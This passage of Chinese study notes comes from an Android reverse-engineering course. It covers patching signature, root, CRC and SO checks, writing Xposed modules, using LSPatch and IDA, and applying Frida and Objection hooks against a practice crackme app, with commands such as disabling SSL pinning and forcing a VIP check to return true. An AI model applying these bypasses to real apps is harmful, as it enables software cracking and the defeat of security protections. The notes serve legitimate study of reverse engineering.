    然后分析onCreate,存在checkSign和root检测

    image-20240126090911296

    剩下的分析一下,把checkSign返回为True即可,即在return之前始终赋值返回值为1

    image-20240126092212041

    root检测部分也是一样的,返回值赋值为0即可

  • API校验:

    即获取包的签名信息,转换为字符串之后进行base64编码,然后md5输出

    image-20240126093820523

    如下所示

    image-20240126093838967

    要么可以重定向,要么进行PM代理,或者直接改代码,返回值修改为1即可

  • CRC校验:

    详见代码

    image-20240126094504066

    即校验classes.dex文件,这里通用可以返回值赋值为1解决。

    但是这里有个try-catch,并且catch始终返回为true。那么可以尝试让try中出错,进而跳转到catch,这里让classes.dex字符串修改为classes2.dex,这样找不到这个文件自然会出错,跳转到catch。

  • PM校验:详见PM代理部分

  • Hash校验:

    image-20240126095100866

    直接用返回1解决

  • SO层校验

    image-20240126101106229

    修改if条件语句即可,if-eqz修改为if-nez

    image-20240126101125281

    整体通过

课程七/八、Sorry,会Hook真的可以为所欲为-Xposed快速上手

环境配置

创建空白的android项目,使用java和android7作为目标

image-20240112091059961

复制xposed的jar包到项目的libs目录

image-20240112091212033

image-20240112091325824

修改xml文件配置,src->main->AndroidManifest.xml,修改如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">

<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.XposedPro"
tools:targetApi="31">
<!-- 是否是xposed模块,xposed根据这个来判断是否是模块 -->
<meta-data
android:name="xposedmodule"
android:value="true" />
<!-- 模块描述,显示在xposed模块列表那里第二行 -->
<meta-data
android:name="xposeddescription"
android:value="这是一个Xposed模块" />
<!-- 最低xposed版本号(lib文件名可知) -->
<meta-data
android:name="xposedminversion"
android:value="89" />
</application>

</manifest>

修改build.gradle.kts

1
2
3
implementation(files("libs\\XposedBridgeAPI-89.jar"))
修改为
compileOnly(files("libs\\XposedBridgeAPI-89.jar"))

区别在于implementation 使用该方式依赖的库将会参与编译和打包 compileOnly 只在编译时有效,不会参与打包

然后app新建目录,new->Folder->Assets Folder

image-20240112092036425

assets目录下创建文件,为模块入口

image-20240112092203496

app->src->java->com下新建hook类

image-20240112092318996

然后需要在xposed_init中指定hook类入口

image-20240112092351263

继承了IXposedHookLoadPackag便拥有了hook的能力,然后在Hook.java里面写代码就行

image-20240112092504885

HOOK代码

hook指定包

首先指定需要hook的包

1
2
3
4
5
6
7
8
public class Hook implements IXposedHookLoadPackage {
@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) throws Throwable {
if(!loadPackageParam.packageName.equals("com.zj.wuaipojie")){
return;
}
}
}

添加了if语句代表只hook掉com.zj.wuaipojie这个apk

hook指定函数

在jadx中可以选定某个方法,复制为xposed片段,比如这里选择hook掉a方法

image-20240112093644001

复制之后放入if语句后面即可,需要导入包,然后在修改classLoader,添加前缀loadPackageParam.classLoader

1
2
3
4
5
6
7
8
9
10
XposedHelpers.findAndHookMethod("com.zj.wuaipojie.Demo", loadPackageParam.classLoader, "a", java.lang.String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
}
});

即传入类,classLoader,方法名称,参数类型,然后重写beforeHookedMethod和afterHookedMethod回调函数即可

或者直接用反射来获取,通常可以用来hook自定义或者复杂函数

1
2
3
4
5
6
7
8
Class a = loadPackageParam.classLoader.loadClass("类名");
XposedBridge.hookAllMethods(a, "方法名", new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);

}
});

参数处理

在beforeHookedMethod中处理参数

1
2
3
String a = "aaaaaaaa";
XposedBridge.log(param.args[0].toString()); //打印参数
param.args[0] = a; //修改参数

在afterHookedMethod中处理返回值

1
2
Log.d("zj2595",param.getResult().toString()); //获取返回值
param.setResult("123456"); //设置返回值

替换函数

类似的

1
2
3
4
5
6
7
Class a = classLoader.loadClass("类名")
XposedBridge.hookAllMethods(a,"方法名",new XC_MethodReplacement() {
home.php?mod=space&uid=1892347
protected Object replaceHookedMethod(MethodHookParam methodHookParam) throws Throwable {
return "";
}
});

通杀大部分免费加壳

针对一些加固的APP,需要先获取到classloader才能接着hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
XposedHelpers.findAndHookMethod(Application.class, "attach", Context.class, new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
Context context = (Context) param.args[0];
ClassLoader classLoader = context.getClassLoader();

//hook逻辑在这里面写
XposedHelpers.findAndHookMethod("com.zj.wuaipojie.Demo", loadPackageParam.classLoader, "a", java.lang.String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
}
});
}
});

处理变量

没有的就用Object

string->Object

  • 静态变量

    static的,类被初始化,同步进行初始化

    1
    2
    final Class clazz = XposedHelpers.findClass("类名", loadPackageParam.classLoader); 
    XposedHelpers.setStaticIntField(clazz, "变量名", 999);
  • 实例变量

    类被实例化(产生一个对象的时候),进行初始化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    final Class clazz = XposedHelpers.findClass("类名", classLoader);  
    XposedBridge.hookAllConstructors(clazz, new XC_MethodHook() { //先hook构造函数
    @Override
    protected void afterHookedMethod(MethodHookParam param) throws Throwable { //在构造函数初始化变量之后
    super.afterHookedMethod(param);
    //param.thisObject获取当前所属的对象
    Object ob = param.thisObject;
    XposedHelpers.setIntField(ob,"变量名",9999);
    }
    });

处理构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//无参构造函数,没有传入参数
XposedHelpers.findAndHookConstructor("com.zj.wuaipojie.Demo", loadPackageParam.classLoader, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
}
});

//有参构造函数,传入了参数string.class
XposedHelpers.findAndHookConstructor("com.zj.wuaipojie.Demo", loadPackageParam.classLoader, String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
}
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
}
});

处理Dex文件

一个dex中最多只能存在65535个方法,如果超过这个数,就会重新生成dex文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
XposedHelpers.findAndHookMethod(Application.class, "attach", Context.class, new XC_MethodHook() {  
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
ClassLoader cl= ((Context)param.args[0]).getClassLoader();
Class<?> hookclass=null;
try {
hookclass=cl.loadClass("类名");
}catch (Exception e){
Log.e("zj2595","未找到类",e);
return;
}
XposedHelpers.findAndHookMethod(hookclass, "方法名", new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
}
});
}
});

函数主动调用

  • 静态函数

    1
    2
    Class clazz = XposedHelpers.findClass("类名",loadPackageParam.classLoader);
    XposedHelpers.callStaticMethod(clazz,"方法名",参数(非必须));
  • 实例函数

    1
    2
    Class clazz = XposedHelpers.findClass("类名",loadPackageParam.classLoader);
    XposedHelpers.callMethod(clazz.newInstance(),"方法名",参数(非必须));

内部类

类中还有一个class,其实就是加入$符号来寻找类

1
2
3
4
5
6
7
8
XposedHelpers.findAndHookMethod("com.zj.wuaipojie.Demo$InnerClass", loadPackageParam.classLoader, "innerFunc",String.class,  new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
param.args[0] = "111111";

}
});

反射调用

即先hook住某个函数,然后找到类之后对应调用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Class clazz = XposedHelpers.findClass("com.zj.wuaipojie.Demo", loadPackageParam.classLoader);
XposedHelpers.findAndHookMethod("com.zj.wuaipojie.Demo$InnerClass", loadPackageParam.classLoader, "innerFunc",String.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
//第一步找到类
//找到方法,如果是私有方法就要setAccessible设置访问权限
//invoke主动调用或者set修改值(变量)
Class democlass = Class.forName("com.zj.wuaipojie.Demo",false,loadPackageParam.classLoader);
Method demomethod = democlass.getDeclaredMethod("refl");
demomethod.setAccessible(true);
demomethod.invoke(clazz.newInstance());
}
});

遍历包中所有类下所有方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
XposedHelpers.findAndHookMethod(ClassLoader.class, "loadClass", String.class, new XC_MethodHook() {  
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
Class clazz = (Class) param.getResult();
String clazzName = clazz.getName();
//排除非包名的类
if(clazzName.contains("com.zj.wuaipojie")){
Method[] mds = clazz.getDeclaredMethods();
for(int i =0;i<mds.length;i++){
final Method md = mds[i];
int mod = mds[i].getModifiers();
//去除抽象、native、接口方法
if(!Modifier.isAbstract(mod)
&& !Modifier.isNative(mod)
&&!Modifier.isAbstract(mod)){
XposedBridge.hookMethod(mds[i], new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
Log.d("zj2595",md.toString());
}
});
}

}
}

}
});

堆栈查询

定位”已过期”字符串赋值部分的堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
XposedHelpers.findAndHookMethod("android.widget.TextView", loadPackageParam.classLoader, "setText", CharSequence.class, new XC_MethodHook() {  
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
Log.d("zj2595",param.args[0].toString());
if(param.args[0].equals("已过期")){
printStackTrace();
}
}
});
private static void printStackTrace() {
Throwable ex = new Throwable();
StackTraceElement[] stackElements = ex.getStackTrace();
for (int i = 0; i < stackElements.length; i++) {
StackTraceElement element = stackElements[i];
Log.d("zj2595","at " + element.getClassName() + "." + element.getMethodName() + "(" + element.getFileName() + ":" + element.getLineNumber() + ")");
}
}

事件监听

检测点击事件对应的方法

1
2
3
4
5
6
7
8
9
10
11
Class clazz = XposedHelpers.findClass("android.view.View", loadPackageParam.classLoader);
XposedBridge.hookAllMethods(clazz, "performClick", new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
Object listenerInfoObject = XposedHelpers.getObjectField(param.thisObject, "mListenerInfo");
Object mOnClickListenerObject = XposedHelpers.getObjectField(listenerInfoObject, "mOnClickListener");
String callbackType = mOnClickListenerObject.getClass().getName();
Log.d("zj2595",callbackType);
}
});

布局改写

1
2
3
4
5
6
7
8
9
10
11
XposedHelpers.findAndHookMethod("com.zj.wuaipojie.ui.ChallengeSixth", loadPackageParam.classLoader,  
"onCreate", Bundle.class, new XC_MethodHook() {
@Override
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
View img = (View)XposedHelpers.callMethod(param.thisObject,
"findViewById", 0x7f0800de);
img.setVisibility(View.GONE);

}
});

LSPosed免root

使用https://github.com/LSPosed/LSPatch即可

先安装模块,然后打开LPatch,在应用栏添加应用

image-20240116105811518

选择已安装的APK,或者存储目录都行

  • 本地模式:只能在本地设备运行,相当于还是hook

  • 集成模式:将模块嵌入到APP中,可以在其他手机运行,这个其实也会修改签名

    image-20240116110011670

    点击嵌入模块,然后选择对应的模块即可

    image-20240116110036790

    覆写版本号,选择签名强度开始修补即可

    image-20240116110105910

    修补后会在之前选定的存储目录中生成对应的APP,此时安装即可。

简单HOOK

有一些简单hook的教程,还有Xposed的源码解析

GitHub - littleWhiteDuck/SimpleHook: SimpleHook hook部分代码

十、不是我说,有了IDA还要什么女朋友?

ELF就不介绍了

NDK开发

在Frida逆向与抓包实战有介绍

课后作业

如之前所分析的,调用的是so里面的getSercet函数,打开IDA分析,修改函数如下返回值

image-20240126102319382

修改为MOV W0,1即可,再用MT导入apk包重新安装即可。

image-20240126102505349

十二、大佬帮我分析一下

so文件加载流程

img

函数名 描述
android_dlopen_ext()dlopen()do_dlopen() 这三个函数主要用于加载库文件。android_dlopen_ext 是系统的一个函数,用于在运行时动态加载共享库。与标准的 dlopen() 函数相比,android_dlopen_ext 提供了更多的参数选项和扩展功能,例如支持命名空间、符号版本等特性。
find_library() find_library() 函数用于查找库,基本的用途是给定一个库的名字,然后查找并返回这个库的路径。
call_constructors() call_constructors() 是用于调用动态加载库中的构造函数的函数。
init 库的构造函数,用于初始化库中的静态变量或执行其他需要在库被加载时完成的任务。如果没有定义init函数,系统将不会执行任何动作。需要注意的是,init函数不应该有任何参数,并且也没有返回值。
init_array init_array是ELF(Executable and Linkable Format,可执行和可链接格式)二进制格式中的一个特殊段(section),这个段包含了一些函数的指针,这些函数将在main()函数执行前被调用,用于初始化静态局部变量和全局变量。
jni_onload 这是Android JNI(Java Native Interface)中的一个函数。当一个native库被系统加载时,该函数会被自动调用。JNI_OnLoad可以做一些初始化工作,例如注册你的native方法或者初始化一些数据结构。如果你的native库没有定义这个函数,那么JNI会使用默认的行为。JNI_OnLoad的返回值应该是需要的JNI版本,一般返回JNI_VERSION_1_6

下断点时机

应用级别的:java_com_XXX;
外壳级别的:JNI_Onload,.init,.init_array(反调试);
系统级别的:fopen,fget,dvmdexfileopen(脱壳);

调试步骤

1
2
3
4
adb shell am start -D -n com.zj.wuaipojie/.ui.ChallengeEight (去掉-D 则表示不以debug模式启动app)
adb forward tcp:23946 tcp:23946 (端口转发)
adb forward tcp:8700 jdwp:PID (pid监听)
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 (jdb挂起)

PS:若不是以debug启动则不需要输入后两条命令

有时候so文件是在apk点击登录或者什么操作之后才会加载调用,这时候就不需要adb shell am start进行启动,在手机启动apk然后开启端口转发,附加就行,比较不容易出错。

SO防护手段

常见防护手段:

主要功能 描述
SO加壳 对C/C++源码编译出来的SO文件进行加壳,使SO文件无法正确反编译和反汇编。
SO源码虚拟化保护 将原始汇编指令翻译为自定义的虚拟机指令,跳转到自定义的虚拟机中执行,每次保护生成的虚拟机指令随机,且对虚拟机解释器再度混淆
SO防调用 对SO文件进行授权绑定,防止SO文件被非授权应用调用运行。
SO Linker 对整个SO文件进行加密压缩,包括代码段、符号表和字符串等,运行时再解密解压缩到内存,从而有效的防止SO数据的泄露。
SO源码混淆 常量字符串加密、分裂基本块、等价指令替换、虚假控制流、控制流平坦化。
SO环境监测 防frida\xposed\root、防动态调试、防模拟器、防多开等

OLLVM具体分析相关部分放在IDA逆向技巧了,包括交叉引用、Trace等等

十三、是时候学习一下Frida一把梭了(上)

Frida原理

frida注入的原理就是找到目标进程,使用ptrace跟踪目标进程获取mmap,dlpoen,dlsym等函数库的偏移获取mmap在目标进程申请一段内存空间将在目标进程中找到存放frida-agent-32/64.so的空间启动执行各种操作由agent去实现

组件名称 功能描述
frida-gum 提供了inline-hook的核心实现,还包含了代码跟踪模块Stalker,用于内存访问监控的MemoryAccessMonitor,以及符号查找、栈回溯实现、内存扫描、动态代码生成和重定位等功能
frida-core fridahook的核心,具有进程注入、进程间通信、会话管理、脚本生命周期管理等功能,屏蔽部分底层的实现细节并给最终用户提供开箱即用的操作接口。包含了frida-server、frida-gadget、frida-agent、frida-helper、frida-inject等关键模块和组件,以及之间的互相通信底座
frida-gadget 本身是一个动态库,可以通过重打包修改动态库的依赖或者修改smali代码去实现向三方应用注入gadget,从而实现Frida的持久化或免root
frida-server 本质上是一个二进制文件,类似于前面学习到的android_server,需要在目标设备上运行并转发端口,在Frida hook中起到关键作用

环境配置参考《Frida逆向与抓包实战》

操作模式

即CLI命令行和RPC使用js代码注入两种模式

注入模式

spawn主动启动模式和attach附加模式

基础语法

API名称 描述
Java.use(className) 获取指定的Java类并使其在JavaScript代码中可用。
Java.perform(callback) 确保回调函数在Java的主线程上执行。
Java.choose(className, callbacks) 枚举指定类的所有实例。
Java.cast(obj, cls) 将一个Java对象转换成另一个Java类的实例。
Java.enumerateLoadedClasses(callbacks) 枚举进程中已经加载的所有Java类。
Java.enumerateClassLoaders(callbacks) 枚举进程中存在的所有Java类加载器。
Java.enumerateMethods(targetClassMethod) 枚举指定类的所有方法。

日志输出语法

日志方法 描述 区别
console.log() 使用JavaScript直接进行日志打印 多用于在CLI模式中,console.log()直接输出到命令行界面,使用户可以实时查看。在RPC模式中,console.log()同样输出在命令行,但可能被Python脚本的输出内容掩盖。
send() Frida的专有方法,用于发送数据或日志到外部Python脚本 多用于RPC模式中,它允许JavaScript脚本发送数据到Python脚本,Python脚本可以进一步处理或记录这些数据。

Hook代码

通过logcat |grep "D.zj2595"日志捕获

框架模板

1
2
3
4
5
6
function main(){
Java.perform(function(){
hookTest1();
});
}
setImmediate(main);

hook类普通方法

如下即重新实现com.zj.wuaipojie.Demo.a函数,打印参数和返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
//定义一个名为hookTest1的函数
function hookTest1(){
//获取一个名为"类名"的Java类,并将其实例赋值给JavaScript变量utils
var utils = Java.use("com.zj.wuaipojie.Demo");
//修改"类名"的"method"方法的实现。这个新的实现会接收两个参数(a和b)
utils.a.implementation = function(str){
var retval = this.a(str);
//在控制台上打印参数a,b的值以及"method"方法的返回值
console.log(str,retval);
//返回"method"方法的返回值
return retval;
}
}

在这里面修改参数,return返回值就可以修改这个函数了。

hook重载函数

如果方法是重载的,那么需要设置一下具体的参数,比如上面的函数a是重载的,那么需要设定如下

1
2
3
4
5
6
7
8
9
10
11
function hookTest1(){
//获取一个名为"类名"的Java类,并将其实例赋值给JavaScript变量utils
var utils = Java.use("com.zj.wuaipojie.Demo");
//修改"类名"的"method"方法的实现。这个新的实现会接收两个参数(a和b)
utils.a.overload("java.lang.String").implementation = function(str){
var retval = this.a(str);
console.log(str,retval);
//返回"method"方法的返回值
return retval;
}
}

即添加overload指定对应重载函数的参数来确定该函数

hook重载自定义参数类型的函数

借助smali代码来查看,比如如下Inner函数中的Animal参数类型

image-20240118111631902

切换为smali代码,第一个参数类型即为com.zj.wuaipojie.Demo$Animal

image-20240118111824561

对应hook代码如下,修改第二个参数为”aaaaaaaaaa”

1
2
3
4
5
6
7
8
9
function hookTest1(){
var utils = Java.use("com.zj.wuaipojie.Demo");
//overload定义重载函数,根据函数的参数类型填
utils.Inner.overload('com.zj.wuaipojie.Demo$Animal','java.lang.String').implementation = function(a,b){
b = "aaaaaaaaaa";
this.Inner(a,b);
console.log(b);
}
}

hook构造函数

用$init来表示构造函数,同样重载的构造函数也是类似的

1
2
3
4
5
6
7
8
9
function hookTest3(){
var utils = Java.use("com.zj.wuaipojie.Demo");
//修改类的构造函数的实现,$init表示构造函数
utils.$init.overload('java.lang.String').implementation = function(str){
console.log(str);
str = "52";
this.$init(str);
}
}

hook变量

  • 静态变量
1
2
utils.staticField.value = "我是被修改的静态变量";
console.log(utils.staticField.value);
  • 实际变量

注意字段名与函数名相同 前面加个下划线

1
2
3
4
5
6
7
8
9
Java.choose("com.zj.wuaipojie.Demo", {
onMatch: function(obj){
//修改实例的非静态字段"_privateInt"的值为"123456",并修改非静态字段"privateInt"的值为9999。
//obj._privateInt.value = "123456"; //字段名与函数名相同 前面加个下划线
obj.privateInt.value = 9999;
},
onComplete: function(){
}
});

实际上在这个例子里面,大佬说hoos是发生在obj.test()函数调用之后的,但是也很奇怪啊,如果是真的,那么应该是obj.test()函数之前的所有数据均无法被更改,反正很奇怪。

hook内部类

一样的,就是获取到目标类就行

1
2
3
4
5
6
7
8
9
10
11
function hookTest6(){
Java.perform(function(){
//内部类
var innerClass = Java.use("com.zj.wuaipojie.Demo$innerClass");
console.log(innerClass);
innerClass.$init.implementation = function(){
console.log("eeeeeeee");
}

});
}

枚举所有类与所有方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function hookTest7(){
Java.perform(function(){
//枚举所有的类与类的所有方法,异步枚举
Java.enumerateLoadedClasses({
onMatch: function(name,handle){
//过滤类名
if(name.indexOf("com.zj.wuaipojie.Demo") !=-1){
console.log(name);
var clazz =Java.use(name);
console.log(clazz);
var methods = clazz.class.getDeclaredMethods();
console.log(methods);
}
},
onComplete: function(){}
})
})
}

枚举所有方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function hookTest8(){
Java.perform(function(){
var Demo = Java.use("com.zj.wuaipojie.Demo");
//getDeclaredMethods枚举所有方法
var methods =Demo.class.getDeclaredMethods();
for(var j=0; j < methods.length; j++){
var methodName = methods[j].getName();
console.log(methodName);
for(var k=0; k<Demo[methodName].overloads.length;k++){
Demo[methodName].overloads[k].implementation = function(){
for(var i=0;i<arguments.length;i++){
console.log(arguments[i]);
}
return this[methodName].apply(this,arguments);
}
}
}
})
}

主动调用

  • 静态方法

    1
    2
    var ClassName=Java.use("com.zj.wuaipojie.Demo"); 
    ClassName.privateFunc("传参");
  • 非静态方法

    和变量类似,都是要获取对应类的对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    var ret = null;
    Java.perform(function () {
    Java.choose("com.zj.wuaipojie.Demo",{ //要hook的类
    onMatch:function(instance){
    ret=instance.privateFunc("aaaaaaa"); //要hook的方法
    },
    onComplete:function(){
    //console.log("result: " + ret);
    }
    });
    })
    //return ret;

十四、是时候学习一下Frida一把梭了(中)

Objection用法

objection是基于frida的命令行hook集合工具, 可以让你不写代码, 敲几句命令就可以对java函数的高颗粒度hook, 还支持RPC调用。可以实现诸如内存搜索、类和模块搜索、方法hook打印参数返回值调用栈等常用功能,是一个非常方便的,逆向必备、内存漫游神器。

常用API

  • objection -g 包名 explore:即开始探索,会直接启动应用

    image-20240118150720659

    objection -g 进程名 explore –startup-command “android hooking watch class 路径.类名” :代表启动应用前就开始Hook,命令为后面的那个

    image-20240118151237102

  • memory list modules -查看内存中加载的库

    image-20240118150732300

    memory list exports so名称 - 查看库的导出函数

    image-20240118150751024

  • android hooking list activities -查看内存中加载的activity /android

    image-20240118150813676

    android hooking list services -查看内存中加载的services,好像不太兼容

    image-20240118151512199

  • android intent launch_activity activity名称:可以直接拉起某个activity

    image-20240118151701274

  • 关闭ssl校验:android sslpinning disable

    image-20240118152005591

  • 关闭root校验:android root disable

    image-20240118152022712

Objection内存漫游

从内存中查看数据

  • android heap search instances 类名(命令):查看某个类对象

    这是内存中没加载的情况

    image-20240118152210186

    有加载的是如下情况

    image-20240118152358178

  • android heap execute [hashcode] getPublicInt(实例的hashcode+方法名) :调用实例的方法

    • 无参函数

      image-20240118152604269

    • 有参函数

      进入evaluate编辑界面,clazz.a(“ssss”),即调用clazz这个实例中的a方法,传入参数为”ssss”,然后按照提示按ESC,然后Enter即可

      image-20240118152850895

  • android hooking list classes -列出内存中所有的类(结果比静态分析的更准确),用的不多

    image-20240118153051217

  • android hooking search classes 关键类名 -在内存中所有已加载的类中搜索包含特定关键词的类,以wuaipojie为关键词

    image-20240118153217665

  • android hooking search methods 关键方法名 -在内存中所有已加载的类的方法中搜索包含特定关键词的方法(一般不建议使用,特别耗时,还可能崩溃)

  • android hooking list class_methods 类名 -内存漫游类中的所有方法

    image-20240118153340743

Objection的HOOK

这个HOOK并不会使得这些方法失效,相当于只是查看

  • android hooking watch class 类名 :hook类的所有方法

    image-20240118153605750

  • android hooking watch class_method 类名.方法名 –dump-args –dump-return –dump-backtrace :hook方法的参数、返回值和调用栈

    image-20240118154010669

  • android hooking watch class_method 类名.$init :hook构造函数

    image-20240118154626876

十五、是时候学习一下Frida一把梭了(下)

打印导入表/导出表

貌似需要frida14,frida16可能写法有点出入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function hookTest1(){
Java.perform(function(){
//打印导入表
var imports = Module.enumerateImports("lib52pojie.so");
for(var i =0; i < imports.length;i++){
if(imports[i].name == "vip"){
console.log(JSON.stringify(imports[i])); //通过JSON.stringify打印object数据
console.log(imports[i].address);
}
}
//打印导出表
var exports = Module.enumerateExports("lib52pojie.so");
for(var i =0; i < exports.length;i++){
console.log(JSON.stringify(exports[i]));
}

})
}

静态注册JNI函数HOOK

  • JAVA层,同样也是获取到类之后重新实现一下函数就行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function hookTest1(){
    let SecurityUtil = Java.use("com.zj.wuaipojie.util.SecurityUtil");
    SecurityUtil["checkVip"].implementation = function(){
    console.log("checkVip is called!");
    let ret = this.checkVip();
    console.log("checkVip ret value is " + ret);
    return true;
    };
    }
  • SO层,即需要通过函数名称获取

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    function hookTest2(){
    Java.perform(function(){
    //根据导出函数名打印地址
    var helloAddr = Module.findExportByName("lib52pojie.so","Java_com_zj_wuaipojie_util_SecurityUtil_checkVip");
    console.log(helloAddr);
    if(helloAddr != null){
    //Interceptor.attach是Frida里的一个拦截器
    Interceptor.attach(helloAddr,{
    //onEnter里可以打印和修改参数
    onEnter: function(args){ //args传入参数
    console.log(args[0]); //打印第一个参数的值

    },
    //onLeave里可以打印和修改返回值
    onLeave: function(retval){ //retval返回值
    console.log(retval);
    console.log("retval",retval.toInt32());
    retval.replace(1);
    }
    })
    }
    })
    }

SO层HOOK打印

  • 寄存器

    1
    console.log(this.context.x1);  // 打印寄存器内容
  • 整数

    1
    console.log(args[1].toInt32()); //toInt32()转十进制
  • Char字符形式

    1
    console.log(args[2].readCString()); //读取字符串 char类型
  • 字符串形式

    1
    2
    3
    4
    5
    6
    7
    8
    // 方法一
    var jString = Java.cast(args[2], Java.use('java.lang.String'));
    console.log("参数:", jString.toString());

    //方法二
    var JNIEnv = Java.vm.getEnv();
    var originalStrPtr = JNIEnv.getStringUtfChars(args[2], null).readCString();
    console.log("参数:", originalStrPtr);
  • 内存DUMP

    1
    console.log(hexdump(args[2])); //内存dump

    image-20240118172755247

SO层HOOK修改

  • 整数

    1
    2
    3
    4
    5
    //修改参数
    args[0] = ptr(1000); //第一个参数修改为整数 1000,先转为指针再赋值

    //修改返回值
    retval.replace(20000); //返回值修改
  • 字符串修改

    1
    2
    3
    4
    5
    6
    7
    8
    9
    //修改参数
    var modifiedContent = "至尊";
    var newJString = JNIEnv.newStringUtf(modifiedContent);
    args[2] = newJString;

    //修改返回值
    var modifiedContent = "无敌";
    var newJString = JNIEnv.newStringUtf(modifiedContent);
    retval.replace(newJString);

SO基地址获取

1
2
3
var moduleAddr1 = Process.findModuleByName("lib52pojie.so").base;  
var moduleAddr2 = Process.getModuleByName("lib52pojie.so").base;
var moduleAddr3 = Module.findBaseAddress("lib52pojie.so");

SO未导出函数与函数地址计算

可能存在函数运行,但是没有设置JNI静态导出类型的,只是在SO层内部使用,这时候可以通过加载地址来调用,同样对于JNI动态注册类型也适用。

  1. 安卓里一般32 位的 so 中都是thumb指令,64 位的 so 中都是arm指令

  2. 通过IDA里的opcode bytes来判断

    arm 指令为 4 个字节(options -> general -> Number of opcode bytes (non-graph) 输入4)

    thumb指令不确定的,有的4字节,有的2字节

  3. 地址计算:

    thumb 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 +1

    arm 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function hookTest6(){
Java.perform(function(){
//根据导出函数名打印基址
var soAddr = Module.findBaseAddress("lib52pojie.so");
console.log(soAddr);
var funcaddr = soAddr.add(0x1071C);
console.log(funcaddr);
if(funcaddr != null){
Interceptor.attach(funcaddr,{
onEnter: function(args){ //args参数

},
onLeave: function(retval){ //retval返回值
console.log(retval.toInt32());
}
})
}
})
}

Hook掉dlopen

dlopen是用来加载so文件的

image-20240119092246579

即可以通过hook时判断参数filename是否为我们想要的.so文件,来指定Hook到.so文件加载时运行的函数逻辑,这里即为关注hook加载lib52pojie.so文件的函数逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function hook_dlopen() {
//这是低版本的android
var dlopen = Module.findExportByName(null, "dlopen");
Interceptor.attach(dlopen, {
onEnter: function (args) {
var so_name = args[0].readCString();
if (so_name.indexOf("lib52pojie.so") >= 0) this.call_hook = true;
}, onLeave: function (retval) {
if (this.call_hook) hookTest2();
}
});

// 高版本Android系统使用android_dlopen_ext
var android_dlopen_ext = Module.findExportByName(null, "android_dlopen_ext");
Interceptor.attach(android_dlopen_ext, {
onEnter: function (args) {
var so_name = args[0].readCString();
if (so_name.indexOf("lib52pojie.so") >= 0) this.call_hook = true;
}, onLeave: function (retval) {
if (this.call_hook)
//这里实际hook在加载lib52pojie.so时候的逻辑为hookTest2();
hookTest2();
}
});
}

十六、是时候学习一下Frida一把梭了(终)

Frida写数据

一般用在脱壳当中

1
2
3
4
5
6
7
8
//一般写在app的私有目录里,不然会报错:failed to open file (Permission denied)(实际上就是权限不足)
var file_path = "/data/user/0/com.zj.wuaipojie/test.txt";
var file_handle = new File(file_path, "wb");
if (file_handle && file_handle != null) {
file_handle.write(data); //写入数据
